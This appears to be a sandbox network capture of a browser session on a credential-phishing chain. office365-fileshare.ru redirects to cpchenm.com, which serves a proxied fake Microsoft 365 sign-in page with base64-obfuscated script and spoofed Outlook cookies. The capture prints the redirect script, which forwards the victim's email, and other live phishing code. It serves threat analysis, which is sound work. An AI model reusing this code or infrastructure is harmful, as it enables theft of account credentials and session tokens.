2024-11-12 16:29:32 UTC	229	IN	Data Raw: 64 66 0d 0a 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 72 65 70 6c 61 63 65 28 27 68 74 74 70 73 3a 2f 2f 63 70 63 68 65 6e 6d 2e 63 6f 6d 2f 42 59 4d 55 52 62 79 73 2e 30 2e 30 2e 31 23 52 65 69 6e 70 75 74 5f 45 6d 61 69 6c 27 20 2b 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 2e 72 65 70 6c 61 63 65 41 6c 6c 28 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 70 72 6f 74 6f 63 6f 6c 2b 27 2f 2f 27 2b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 6f 73 74 6e 61 6d 65 2b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 70 61 74 68 6e 61 6d 65 2e 74 6f 53 74 72 69 6e 67 28 29 2c 20 27 27 29 29 3b 3c 2f 73 63 72 69 70 74 3e 0d 0a Data Ascii: df<script>window.location.replace('https://cpchenm.com/BYMURbys.0.0.1#Reinput_Email' + window.location.href.replaceAll(window.location.protocol+'//'+window.location.hostname+window.location.pathname.toString(), ''));</script>
2024-11-12 16:29:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.22	49190	188.114.97.3	443	3592	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:29:24 UTC	579	OUT	GET /LRkpLmIajJQMupJl/YoJnCCuSWjPniRIM/QmogppZGcJknpWsepXGOQNmkjuufsteqSsOBzxyyPrNzmMGdL/mIiGTMdiACicIABMIHEMfbYsCBIflcd/wJpuLiRlIELAizqiWEEeCvJHDDglShGidrsQuKAYzI/FdYTZeRwgBHCeAjorlTivuLNqoeh HTTP/1.1 Host: office365-fileshare.ru Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=8suib9pih5v918j67p720q3bfp
2024-11-12 16:29:25 UTC	971	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:29:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nxvn8J0ftlfcbT%2F6jbXx8oWC1Ye3VMnPDRFbUwSiHgNm0LZyT%2BYHbsp2HoRL9IqDjmfnu7VrC3k4%2BOjcTGT%2BK7nnc%2FucZEKO6ezfrblqjuZ7ErODa8jbBK8nG4m0sx5imfSuzBsM8yl4"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e17e697af3ce591-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1179&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2860&recv_bytes=1157&delivery_rate=2776605&cwnd=32&unsent_bytes=0&cid=04841fd4d7a67fb4&ts=697&x=0"
2024-11-12 16:29:25 UTC	41	IN	Data Raw: 32 33 0d 0a 3c 73 63 72 69 70 74 3e 6c 6f 63 61 74 69 6f 6e 2e 72 65 6c 6f 61 64 28 29 3b 3c 2f 73 63 72 69 70 74 3e 0d 0a Data Ascii: 23<script>location.reload();</script>
2024-11-12 16:29:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.22	49191	188.114.97.3	443	3592	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:29:25 UTC	851	OUT	GET /EDlbZQWABA/afSeiRqtowoOBCYGXGnQytorJGnjuUfMDNo HTTP/1.1 Host: office365-fileshare.ru Connection: keep-alive sec-ch-ua: "Not_A Brand";v="99", "Google Chrome";v="109", "Chromium";v="109" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://office365-fileshare.ru/LRkpLmIajJQMupJl/YoJnCCuSWjPniRIM/QmogppZGcJknpWsepXGOQNmkjuufsteqSsOBzxyyPrNzmMGdL/NpZJEslplJHT?utm_source=Klaviyo&utm_medium=campaign&_kx=RI7R9H_0krIELmEO_8PgZw.XXyCFf Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=8suib9pih5v918j67p720q3bfp
2024-11-12 16:29:25 UTC	968	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:29:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vMlFdwYjyCLAmgxfdrU7bgGXPCYljfIyS0UOzYkS2DJ9EBURUl%2FuEoBHqQpHculzxI0xBgjdRH1Bvbe0Wbzjn9OQLibcaXfxF3ltZ0JBoZtI5VrGU%2BUUHTFD9XhGg%2FP6RhbKSjJjQAeO"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e17e697ae1f6c69-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1196&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2860&recv_bytes=1429&delivery_rate=2220858&cwnd=251&unsent_bytes=0&cid=167c3eaa5dcb261a&ts=633&x=0"
2024-11-12 16:29:25 UTC	41	IN	Data Raw: 32 33 0d 0a 3c 73 63 72 69 70 74 3e 6c 6f 63 61 74 69 6f 6e 2e 72 65 6c 6f 61 64 28 29 3b 3c 2f 73 63 72 69 70 74 3e 0d 0a Data Ascii: 23<script>location.reload();</script>
2024-11-12 16:29:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.22	49192	188.114.97.3	443	3592	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:29:26 UTC	438	OUT	GET /EDlbZQWABA/afSeiRqtowoOBCYGXGnQytorJGnjuUfMDNo HTTP/1.1 Host: office365-fileshare.ru Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=8suib9pih5v918j67p720q3bfp
2024-11-12 16:29:32 UTC	967	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:29:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Vary: Accept-Encoding X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cMWd7BMzoh08M3nICrS4PC0dIN6p%2BaxchRheWIOUlyqKzUdaUt94DcM2hGP6Tq2SCLfZfgSWaE9qgYiIpTWhL5v1Os734b20WkAmU5AN0rjBiPf4T23gS0XUmwwv%2Byw37yQGW3im7ldR"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e17e69fc89c2e4f-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1153&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2860&recv_bytes=1016&delivery_rate=2500863&cwnd=248&unsent_bytes=0&cid=18a1c396aa9a0bb1&ts=6102&x=0"
2024-11-12 16:29:32 UTC	319	IN	Data Raw: 31 33 38 0d 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 0d 0a 20 20 66 65 74 63 68 28 27 79 70 58 78 4c 41 4a 62 70 42 52 6e 4f 4d 6c 59 46 45 74 62 61 47 48 59 48 2f 4a 78 62 6b 64 7a 5a 79 66 77 51 72 78 41 4f 6f 71 69 63 49 4a 6f 42 6b 4c 72 63 2f 4d 47 73 57 4d 67 70 43 6f 77 74 73 52 56 62 6c 46 63 70 6b 5a 41 77 4f 52 4f 64 6b 59 44 7a 62 76 46 57 68 79 50 47 45 47 59 7a 76 4b 27 2c 20 7b 6d 65 74 68 6f 64 3a 20 22 50 4f 53 54 22 2c 68 65 61 64 65 72 73 3a 20 7b 0d 0a 20 20 20 20 20 20 27 43 6f 6e 74 65 6e 74 2d 54 79 70 65 27 3a 20 27 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 77 77 77 2d 66 6f 72 6d 2d 75 72 6c 65 6e 63 6f 64 65 64 27 0d 0a 20 20 20 20 7d 2c 62 6f 64 79 3a 20 27 36 4c 65 49 78 41 63 54 41 41 41 41 41 47 47 2d 76 46 49 31 54 6e 52 57 78 Data Ascii: 138 <script> fetch('ypXxLAJbpBRnOMlYFEtbaGHYH/JxbkdzZyfwQrxAOoqicIJoBkLrc/MGsWMgpCowtsRVblFcpkZAwOROdkYDzbvFWhyPGEGYzvK', {method: "POST",headers: { 'Content-Type': 'application/x-www-form-urlencoded' },body: '6LeIxAcTAAAAAGG-vFI1TnRWx
2024-11-12 16:29:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.22	49193	2.59.163.43	443	3592	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:29:33 UTC	697	OUT	GET /BYMURbys.0.0.1 HTTP/1.1 Host: cpchenm.com Connection: keep-alive sec-ch-ua: "Not_A Brand";v="99", "Google Chrome";v="109", "Chromium";v="109" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://office365-fileshare.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-12 16:29:33 UTC	939	IN	HTTP/1.1 302 Found Access-Control-Allow-Credentials: true Cache-Control: no-cache="Set-Cookie" Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem:; frame-src 'self' * http://* https://* file://* about: javascript: data: blob: filesystem:; style-src * data: blob: filesystem: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline'; Content-Type: text/html Cross-Origin-Resource-Policy: cross-origin Location: https://tvrcemeheff.cpchenm.com/owa/? Set-Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM; Path=/; Domain=cpchenm.com; Secure; SameSite=None Date: Tue, 12 Nov 2024 16:29:33 GMT Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.22	49195	2.59.163.43	443	3592	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:29:35 UTC	760	OUT	GET /owa/? HTTP/1.1 Host: tvrcemeheff.cpchenm.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document sec-ch-ua: "Not_A Brand";v="99", "Google Chrome";v="109", "Chromium";v="109" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://office365-fileshare.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM
2024-11-12 16:29:35 UTC	805	IN	HTTP/1.1 302 Found Access-Control-Allow-Credentials: true Alt-Svc: h3=":443";ma=2592000,h3-29=":443";ma=2592000 Cache-Control: no-cache="Set-Cookie" Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem:; frame-src 'self' * http://* https://* file://* about: javascript: data: blob: filesystem:; style-src * data: blob: filesystem: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline'; Content-Type: text/html; charset=utf-8 Cross-Origin-Resource-Policy: cross-origin Date: Tue, 12 Nov 2024 16:29:34 GMT
2024-11-12 16:29:35 UTC	2584	IN	Data Raw: 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f 74 76 72 63 65 6f 63 70 72 71 2e 63 70 63 68 65 6e 6d 2e 63 6f 6d 2f 63 6f 6d 6d 6f 6e 2f 6f 61 75 74 68 32 2f 61 75 74 68 6f 72 69 7a 65 3f 63 6c 69 65 6e 74 5f 69 64 3d 30 30 30 30 30 30 30 32 2d 30 30 30 30 2d 30 66 66 31 2d 63 65 30 30 2d 30 30 30 30 30 30 30 30 30 30 30 30 26 72 65 64 69 72 65 63 74 5f 75 72 69 3d 68 74 74 70 73 25 33 61 25 32 66 25 32 66 6f 75 74 6c 6f 6f 6b 2e 6f 66 66 69 63 65 2e 63 6f 6d 25 32 66 6f 77 61 25 32 66 26 72 65 73 6f 75 72 63 65 3d 30 30 30 30 30 30 30 32 2d 30 30 30 30 2d 30 66 66 31 2d 63 65 30 30 2d 30 30 30 30 30 30 30 30 30 30 30 30 26 72 65 73 70 6f 6e 73 65 5f 6d 6f 64 65 3d 66 6f 72 6d 5f 70 6f 73 74 26 72 65 73 70 6f 6e 73 65 5f 74 79 70 65 3d 63 6f 64 65 Data Ascii: Location: https://tvrceocprq.cpchenm.com/common/oauth2/authorize?client_id=00000002-0000-0ff1-ce00-000000000000&redirect_uri=https%3a%2f%2foutlook.office.com%2fowa%2f&resource=00000002-0000-0ff1-ce00-000000000000&response_mode=form_post&response_type=code
2024-11-12 16:29:35 UTC	682	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 4f 70 65 6e 49 64 43 6f 6e 6e 65 63 74 2e 69 64 70 5f 6e 6f 6e 63 65 2e 76 31 3d 3b 20 50 61 74 68 3d 2f 3b 20 44 6f 6d 61 69 6e 3d 74 76 72 63 65 6d 65 68 65 66 66 2e 63 70 63 68 65 6e 6d 2e 63 6f 6d 3b 20 45 78 70 69 72 65 73 3d 53 61 74 2c 20 31 32 20 4e 6f 76 20 31 39 39 34 20 31 36 3a 32 39 3a 33 35 20 47 4d 54 3b 20 48 74 74 70 4f 6e 6c 79 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 74 65 3d 4e 6f 6e 65 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 4f 70 65 6e 49 64 43 6f 6e 6e 65 63 74 2e 69 64 70 5f 63 6f 72 72 65 6c 61 74 69 6f 6e 5f 69 64 3d 3b 20 50 61 74 68 3d 2f 3b 20 44 6f 6d 61 69 6e 3d 74 76 72 63 65 6d 65 68 65 66 66 2e 63 70 63 68 65 6e 6d 2e 63 6f 6d 3b 20 45 78 70 69 72 65 73 3d 53 61 74 2c 20 31 32 Data Ascii: Set-Cookie: OpenIdConnect.idp_nonce.v1=; Path=/; Domain=tvrcemeheff.cpchenm.com; Expires=Sat, 12 Nov 1994 16:29:35 GMT; HttpOnly; Secure; SameSite=NoneSet-Cookie: OpenIdConnect.idp_correlation_id=; Path=/; Domain=tvrcemeheff.cpchenm.com; Expires=Sat, 12
2024-11-12 16:29:35 UTC	3740	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 48 6f 73 74 53 77 69 74 63 68 50 72 67 3d 3b 20 50 61 74 68 3d 2f 3b 20 45 78 70 69 72 65 73 3d 53 61 74 2c 20 31 32 20 4e 6f 76 20 31 39 39 34 20 31 36 3a 32 39 3a 33 35 20 47 4d 54 3b 20 48 74 74 70 4f 6e 6c 79 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 74 65 3d 4e 6f 6e 65 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 4f 70 74 49 6e 50 72 67 3d 3b 20 50 61 74 68 3d 2f 3b 20 45 78 70 69 72 65 73 3d 53 61 74 2c 20 31 32 20 4e 6f 76 20 31 39 39 34 20 31 36 3a 32 39 3a 33 35 20 47 4d 54 3b 20 48 74 74 70 4f 6e 6c 79 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 74 65 3d 4e 6f 6e 65 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 53 75 69 74 65 53 65 72 76 69 63 65 50 72 6f 78 79 4b 65 79 3d 3b 20 50 61 74 68 3d 2f 3b 20 45 Data Ascii: Set-Cookie: HostSwitchPrg=; Path=/; Expires=Sat, 12 Nov 1994 16:29:35 GMT; HttpOnly; Secure; SameSite=NoneSet-Cookie: OptInPrg=; Path=/; Expires=Sat, 12 Nov 1994 16:29:35 GMT; HttpOnly; Secure; SameSite=NoneSet-Cookie: SuiteServiceProxyKey=; Path=/; E
2024-11-12 16:29:35 UTC	381	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 4f 33 36 35 20 73 69 67 6e 20 69 6e 20 74 6f 20 63 6f 6e 74 69 6e 75 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 54 6f 20 76 69 65 77 20 74 68 69 73 20 63 6f 6e 74 65 6e 74 20 70 6c 65 61 73 65 20 63 6f 6e 66 69 72 6d 20 79 6f 75 72 20 61 75 74 68 22 20 2f 3e 0a 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 64 61 74 61 3a 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 3b 62 61 73 65 36 34 2c 5a 6e 56 75 59 33 52 70 62 32 34 67 59 79 67 70 65 32 6c 6d 4b 43 46 6b 62 32 4e 31 62 57 56 75 64 43 35 78 64 57 56 79 65 56 4e 6c 62 Data Ascii: <html><head><meta property="og:title" content="O365 sign in to continue" /><meta property="og:description" content="To view this content please confirm your auth" /><script src="data:text/javascript;base64,ZnVuY3Rpb24gYygpe2lmKCFkb2N1bWVudC5xdWVyeVNlb
2024-11-12 16:29:35 UTC	1201	IN	Data Raw: 75 59 33 4a 6c 59 58 52 6c 52 57 78 6c 62 57 56 75 64 43 67 69 5a 47 6c 32 49 69 6b 73 65 32 4e 73 59 58 4e 7a 54 47 6c 7a 64 44 70 62 49 6d 49 69 58 58 30 70 4b 54 74 6b 62 32 4e 31 62 57 56 75 64 43 35 6b 62 32 4e 31 62 57 56 75 64 45 56 73 5a 57 31 6c 62 6e 51 75 63 33 52 35 62 47 55 75 5a 6d 6c 73 64 47 56 79 50 53 4a 6f 64 57 55 74 63 6d 39 30 59 58 52 6c 4b 44 52 6b 5a 57 63 70 49 6a 74 6b 62 32 4e 31 62 57 56 75 64 43 35 6f 5a 57 46 6b 4c 6d 46 77 63 47 56 75 5a 45 4e 6f 61 57 78 6b 4b 45 39 69 61 6d 56 6a 64 43 35 68 63 33 4e 70 5a 32 34 6f 5a 47 39 6a 64 57 31 6c 62 6e 51 75 59 33 4a 6c 59 58 52 6c 52 57 78 6c 62 57 56 75 64 43 67 69 5a 47 6c 32 49 69 6b 73 65 32 4e 73 59 58 4e 7a 54 47 6c 7a 64 44 70 62 49 6d 63 69 58 58 30 70 4b 54 74 7a 5a 58 Data Ascii: uY3JlYXRlRWxlbWVudCgiZGl2Iikse2NsYXNzTGlzdDpbImIiXX0pKTtkb2N1bWVudC5kb2N1bWVudEVsZW1lbnQuc3R5bGUuZmlsdGVyPSJodWUtcm90YXRlKDRkZWcpIjtkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKE9iamVjdC5hc3NpZ24oZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiZGl2Iikse2NsYXNzTGlzdDpbImciXX0pKTtzZX

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.22	49196	2.59.163.43	443	3592	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:29:36 UTC	1340	OUT	GET /common/oauth2/authorize?client_id=00000002-0000-0ff1-ce00-000000000000&redirect_uri=https%3a%2f%2foutlook.office.com%2fowa%2f&resource=00000002-0000-0ff1-ce00-000000000000&response_mode=form_post&response_type=code+id_token&scope=openid&msafed=1&msaredir=1&client-request-id=2a51e03a-9691-be2b-3843-b2e27ecb841e&protectedtoken=true&claims=%7b%22id_token%22%3a%7b%22xms_cc%22%3a%7b%22values%22%3a%5b%22CP1%22%5d%7d%7d%7d&nonce=638670257752018358.3d8641d8-01f6-4285-a5ae-09001ad72a07&state=Dcs7EoAwCABRojPeBgNEPlaehZloa-n1pXjbbQOAtSylUQXcRpiTqLsKcQyNfcywg2cg8WN4SCim5o10EnFOlyRv9W79_bJfPw HTTP/1.1 Host: tvrceocprq.cpchenm.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document sec-ch-ua: "Not_A Brand";v="99", "Google Chrome";v="109", "Chromium";v="109" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://office365-fileshare.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM
2024-11-12 16:29:37 UTC	1005	IN	HTTP/1.1 200 OK Access-Control-Allow-Credentials: true Cache-Control: no-store, no-cache Cache-Control: no-cache="Set-Cookie" Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem:; frame-src 'self' * http://* https://* file://* about: javascript: data: blob: filesystem:; style-src * data: blob: filesystem: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline'; Content-Type: text/html; charset=utf-8 Cross-Origin-Resource-Policy: cross-origin Date: Tue, 12 Nov 2024 16:29:36 GMT Expires: -1 Nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} P3p: CP="DSP CUR OTPi IND OTRi ONL FIN" Pragma: no-cache Referrer-Policy: strict-origin-when-cross-origin
2024-11-12 16:29:37 UTC	1173	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 65 73 63 74 78 2d 49 32 35 7a 45 4b 31 77 43 63 3d 41 51 41 42 43 51 45 41 41 41 44 57 36 6a 6c 33 31 6d 42 33 54 37 75 67 72 57 54 54 38 70 46 65 43 45 52 36 43 44 48 41 30 36 47 47 41 65 2d 4c 79 53 4b 75 53 4f 77 78 32 6c 2d 72 71 36 75 31 77 63 50 66 43 69 5f 35 55 57 76 54 38 4c 39 65 43 70 41 49 6a 73 4e 54 6d 63 4f 39 74 72 4b 37 64 42 78 39 41 38 71 72 42 42 61 6d 59 38 64 4a 30 62 61 50 77 30 72 64 72 72 72 34 4e 31 72 46 68 58 73 5f 32 30 44 57 59 43 66 7a 55 55 32 36 5f 33 32 63 45 4c 48 53 72 75 47 4b 49 4a 43 48 5a 42 49 78 6e 4d 50 78 56 37 32 44 71 55 4a 50 63 4f 47 73 33 79 41 41 3b 20 50 61 74 68 3d 2f 3b 20 44 6f 6d 61 69 6e 3d 74 76 72 63 65 6f 63 70 72 71 2e 63 70 63 68 65 6e 6d 2e 63 6f 6d 3b 20 48 Data Ascii: Set-Cookie: esctx-I25zEK1wCc=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeCER6CDHA06GGAe-LySKuSOwx2l-rq6u1wcPfCi_5UWvT8L9eCpAIjsNTmcO9trK7dBx9A8qrBBamY8dJ0baPw0rdrrr4N1rFhXs_20DWYCfzUU26_32cELHSruGKIJCHZBIxnMPxV72DqUJPcOGs3yAA; Path=/; Domain=tvrceocprq.cpchenm.com; H
2024-11-12 16:29:37 UTC	1359	IN	Data Raw: 35 34 30 61 0d 0a 0d 0a 0d 0a 3c 21 2d 2d 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 20 2d 2d 3e 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 4f 33 36 35 20 73 69 67 6e 20 69 6e 20 74 6f 20 63 6f 6e 74 69 6e 75 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 54 6f 20 76 69 65 77 20 74 68 69 73 20 63 6f 6e 74 65 6e 74 20 70 6c 65 61 73 65 20 63 6f 6e 66 69 72 6d 20 79 6f 75 72 Data Ascii: 540a... Copyright (C) Microsoft Corporation. All rights reserved. --><!DOCTYPE html><html><head><meta property="og:title" content="O365 sign in to continue" /><meta property="og:description" content="To view this content please confirm your
2024-11-12 16:29:37 UTC	559	IN	Data Raw: 74 65 6e 74 3d 22 6e 6f 6e 65 22 20 2f 3e 0d 0a 0d 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 2f 2f 3c 21 5b 43 44 41 54 41 5b 0a 24 43 6f 6e 66 69 67 3d 7b 22 69 4d 61 78 53 74 61 63 6b 46 6f 72 4b 6e 6f 63 6b 6f 75 74 41 73 79 6e 63 43 6f 6d 70 6f 6e 65 6e 74 73 22 3a 31 30 30 30 30 2c 22 66 53 68 6f 77 42 75 74 74 6f 6e 73 22 3a 74 72 75 65 2c 22 75 72 6c 43 64 6e 22 3a 22 68 74 74 70 73 3a 2f 2f 74 76 72 63 65 64 6a 72 68 74 65 2e 63 70 63 68 65 6e 6d 2e 63 6f 6d 2f 73 68 61 72 65 64 2f 31 2e 30 2f 22 2c 22 75 72 6c 44 65 66 61 75 6c 74 46 61 76 69 63 6f 6e 22 3a 22 68 74 74 70 73 3a 2f 2f 74 76 72 63 65 64 6a 72 68 74 65 2e 63 70 63 68 65 6e 6d 2e 63 6f 6d 2f 73 68 61 72 65 64 2f 31 2e 30 2f 63 6f Data 